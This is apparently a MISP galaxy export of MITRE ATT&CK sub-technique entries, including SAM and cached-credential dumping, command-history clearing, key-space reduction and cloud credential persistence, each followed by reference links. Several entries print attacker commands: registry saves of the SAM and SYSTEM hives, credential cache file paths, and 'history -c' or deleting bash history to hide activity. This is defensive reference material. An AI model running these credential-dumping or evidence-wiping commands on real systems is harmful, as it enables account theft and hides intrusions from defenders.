https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html

Reduce Key Space - T1600.001

Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)

Adversaries can weaken the encryption software on a compromised network device by reducing

the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.

Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)

The tag is: *misp-galaxy:mitre-attack-pattern="Reduce Key Space - T1600.001"*

Table 8251. Table References

Links
https://attack.mitre.org/techniques/T1600/001
https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954

Security Account Manager - T1003.002

Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the <code>net user</code> command. Enumerating the SAM database requires SYSTEM level access.

A number of tools can be used to retrieve the SAM file through in-memory techniques:

- pwdumpx.exe
- [gsecdump](https://attack.mitre.org/software/S0008)
- [Mimikatz](https://attack.mitre.org/software/S0002)
- secretsdump.py

Alternatively, the SAM can be extracted from the Registry with Reg:

- <code>reg save HKLM\sam sam</code>
- <code>reg save HKLM\system system</code>

Creddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)

Notes:

- RID 500 account is the local, built-in administrator.
- RID 501 is the guest account.
- User accounts start with a RID of 1,000+.

The tag is: *misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002"*

Table 8252. Table References

Links
https://attack.mitre.org/techniques/T1003/002
https://github.com/Neohapsis/creddump7

Disable Crypto Hardware - T1600.002

Adversaries disable a network device's dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.

Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)

The tag is: *misp-galaxy:mitre-attack-pattern="Disable Crypto Hardware - T1600.002"*

Table 8253. Table References

Links
https://attack.mitre.org/techniques/T1600/002
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954

Cached Domain Credentials - T1003.005

Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)

On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)

On Linux systems, Active Directory credentials can be accessed through caches maintained by software like System Security Services Daemon (SSSD) or Quest Authentication Services (formerly VAS). Cached credential hashes are typically located at `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb` for Quest. Adversaries can use utilities, such as

`tdbdump`, on these database files to dump the cached hashes and use [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to obtain the plaintext password.(Citation: Brining MimiKatz to Unix)

With SYSTEM or sudo access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py for Windows or Linikatz for Linux can be used to extract the cached credentials.(Citation: Brining MimiKatz to Unix)

Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)

The tag is: *misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005"*

Table 8254. Table References

Links
https://attack.mitre.org/techniques/T1003/005
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)
https://github.com/mattifestation/PowerSploit
https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials
https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf
https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html

Clear Command History - T1070.003

In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.

On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Adversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>.

Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (<code>clear logging</code> and/or <code>clear history</code>).(Citation: US-CERT-TA18-106A) On ESXi servers, command history may be manually removed from the `/var/log/shell.log` file.(Citation: Broadcom ESXi Shell Audit)

On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the <code>PSReadLine</code> module. The built-in history only tracks the commands used in the current session. This command history is not available to

other sessions and is deleted when the session ends.

The <code>PSReadLine</code> command history tracks the commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</code> by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)

Adversaries may run the PowerShell command <code>Clear-History</code> to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the <code>ConsoleHost_history.txt</code> file. Adversaries may also delete the <code>ConsoleHost_history.txt</code> file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)

The tag is: *misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003"*

Table 8255. Table References

Links
https://attack.mitre.org/techniques/T1070/003
https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit
https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7
https://knowledge.broadcom.com/external/article/321910/auditing-esxi-shell-logins-and-commands.html
https://www.us-cert.gov/ncas/alerts/TA18-106A

Clear Mailbox Data - T1070.008

Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests.

Adversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of [Phishing](Internal Spearphishing(https://attack.mitre.org/techniques/T1534), [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). For example, to remove evidence on Exchange servers adversaries have used the <code>ExchangePowerShell</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including <code>Remove-MailboxExportRequest</code> to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called <code>mail</code> or use

[AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)

Adversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation: Microsoft OAuth Spam 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Clear Mailbox Data - T1070.008"*

Table 8256. Table References

Links
https://attack.mitre.org/techniques/T1070/008
https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf
https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps#mailboxes
https://man7.org/linux/man-pages/man1/mailx.1p.html
https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/
https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/

Exfiltration Over Bluetooth - T1011.001

Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.

Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Bluetooth - T1011.001"*

Table 8257. Table References

Links
https://attack.mitre.org/techniques/T1011/001

Dead Drop Resolver - T1102.001

Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of

cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

The tag is: *misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001"*

Table 8258. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1102/001

Remote Desktop Protocol - T1021.001

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001"*

Table 8259. Table References

Links
https://attack.mitre.org/techniques/T1021/001
https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
https://web.archive.org/web/20191115195333/https://www.crowdstrike.com/blog/adversary-tricks-crowdstrike-treats/

Internet Connection Discovery - T1016.001

Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites, or performing initial speed testing to confirm bandwidth.

Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.

The tag is: *misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001"*

Table 8260. Table References

Links
https://attack.mitre.org/techniques/T1016/001

Patch System Image - T1601.001

Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.

To change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.

To change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.

In the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.

By modifying the instructions stored in the system image file, adversaries may either weaken

existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). Adding new capabilities for the adversary's purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).

Adversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade.

When the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005).

When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence.

The tag is: *misp-galaxy:mitre-attack-pattern="Patch System Image - T1601.001"*

Table 8261. Table References

Links
http://2015.zeronights.org/assets/files/05-Nosenko.pdf
https://attack.mitre.org/techniques/T1601/001
https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf
https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf
https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf
https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf

Exfiltration over USB - T1052.001

Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop

between otherwise disconnected systems.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001"*

Table 8262. Table References

Links
https://attack.mitre.org/techniques/T1052/001

Downgrade System Image - T1601.002

Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)

On embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.

Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).

The tag is: *misp-galaxy:mitre-attack-pattern="Downgrade System Image - T1601.002"*

Table 8263. Table References

Links
https://attack.mitre.org/techniques/T1601/002
https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices

Windows Remote Management - T1021.006

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.

WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006"*

Table 8264. Table References

Links
https://attack.mitre.org/techniques/T1021/006
https://learn.microsoft.com/en-us/windows/win32/winrm/portal
https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc
https://msdn.microsoft.com/en-us/library/aa394582.aspx
https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2

File Transfer Protocols - T1071.002

Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as SMB(Citation: US-CERT TA18-074A), FTP(Citation: ESET Machete July 2019), FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

The tag is: *misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002"*

Table 8265. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1071/002
https://www.us-cert.gov/ncas/alerts/TA18-074A
https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf

Masquerade Account Name - T1036.010

Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during [Create Account](https://attack.mitre.org/techniques/T1136), although accounts may also be renamed at a later date. This may also coincide with [Account Access Removal](https://attack.mitre.org/techniques/T1531) if the actor first deletes an account before re-creating one with the same name.(Citation: Huntress MOVEit 2023)

Often, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management.(Citation: Elastic CUBA Ransomware 2022)(Citation: Aquasec Kubernetes Attack 2023) They may also give accounts generic,

trustworthy names, such as “admin”, “help”, or “root.”(Citation: Invictus IR Cloud Ransomware 2024) Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to [Account Discovery](https://attack.mitre.org/techniques/T1087).

Note that this is distinct from [Impersonation](https://attack.mitre.org/techniques/T1656), which describes impersonating specific trusted individuals or organizations, rather than user or service account names.

The tag is: *misp-galaxy:mitre-attack-pattern="Masquerade Account Name - T1036.010"*

Table 8266. Table References

Links
https://attack.mitre.org/techniques/T1036/010
https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters
https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis
https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response
https://www.invictus-ir.com/news/ransomware-in-the-cloud

Uninstall Malicious Application - T1630.001

Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by:

- Abusing device owner permissions to perform silent uninstallation using device owner API calls.
- Abusing root permissions to delete files from the filesystem.
- Abusing the accessibility service. This requires sending an intent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.

The tag is: *misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1630.001"*

Table 8267. Table References

Links
https://attack.mitre.org/techniques/T1630/001
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html

Invalid Code Signature - T1036.001

Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks,

but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)

Unlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.

The tag is: *misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001"*

Table 8268. Table References

Links
https://attack.mitre.org/techniques/T1036/001
https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/

Local Data Staging - T1074.001

Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.

Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"*

Table 8269. Table References

Links
https://attack.mitre.org/techniques/T1074/001
https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/

Application Access Token - T1550.001

Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.

Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)

OAuth is one commonly implemented framework that issues tokens to users for access to systems.

These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)

For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)

Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim's primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)

Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user's AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001"*

Table 8270. Table References

Links
https://attack.mitre.org/techniques/T1550/001
https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials
https://cloud.google.com/iam/docs/service-account-monitoring
https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen
https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html
https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration

https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/
https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/

SQL Stored Procedures - T1505.001

Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).

Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017)

Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR)

The tag is: *misp-galaxy:mitre-attack-pattern="SQL Stored Procedures - T1505.001"*

Table 8271. Table References

Links
https://attack.mitre.org/techniques/T1505/001
https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017
https://securelist.com/malicious-tasks-in-ms-sql-server/92167/
https://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/
https://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/

Archive via Utility - T1560.001

Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.

Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third

party utilities may be preinstalled, such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows systems.

On Windows, <code>diantz</code> or <code> makecab</code> may be used to package collected files into a cabinet (.cab) file. <code>diantz</code> may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) <code>xcopy</code> on Windows can copy files and directories with a variety of options. Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration.

Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)

The tag is: *misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001"*

Table 8272. Table References

Links
https://attack.mitre.org/techniques/T1560/001
https://en.wikipedia.org/wiki/List_of_file_signatures
https://lolbas-project.github.io/lolbas/Binaries/Diantz/
https://www.7-zip.org/
https://www.rarlab.com/
https://www.winzip.com/win/en/

Additional Cloud Credentials - T1098.001

Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.

For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)

In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)

Adversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account. Alternatively, they may use the <code>CreateLoginProfile</code> API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal's roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)

In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account's API credentials are deactivated. (Citation: Crowdstrike AWS User Federation Persistence)

In Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42 Operations 2024) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user's primary password is reset.(Citation: Microsoft Entra ID App Passwords)

The tag is: *misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001"*

Table 8273. Table References

Links
https://attack.mitre.org/techniques/T1098/001
https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations
https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add
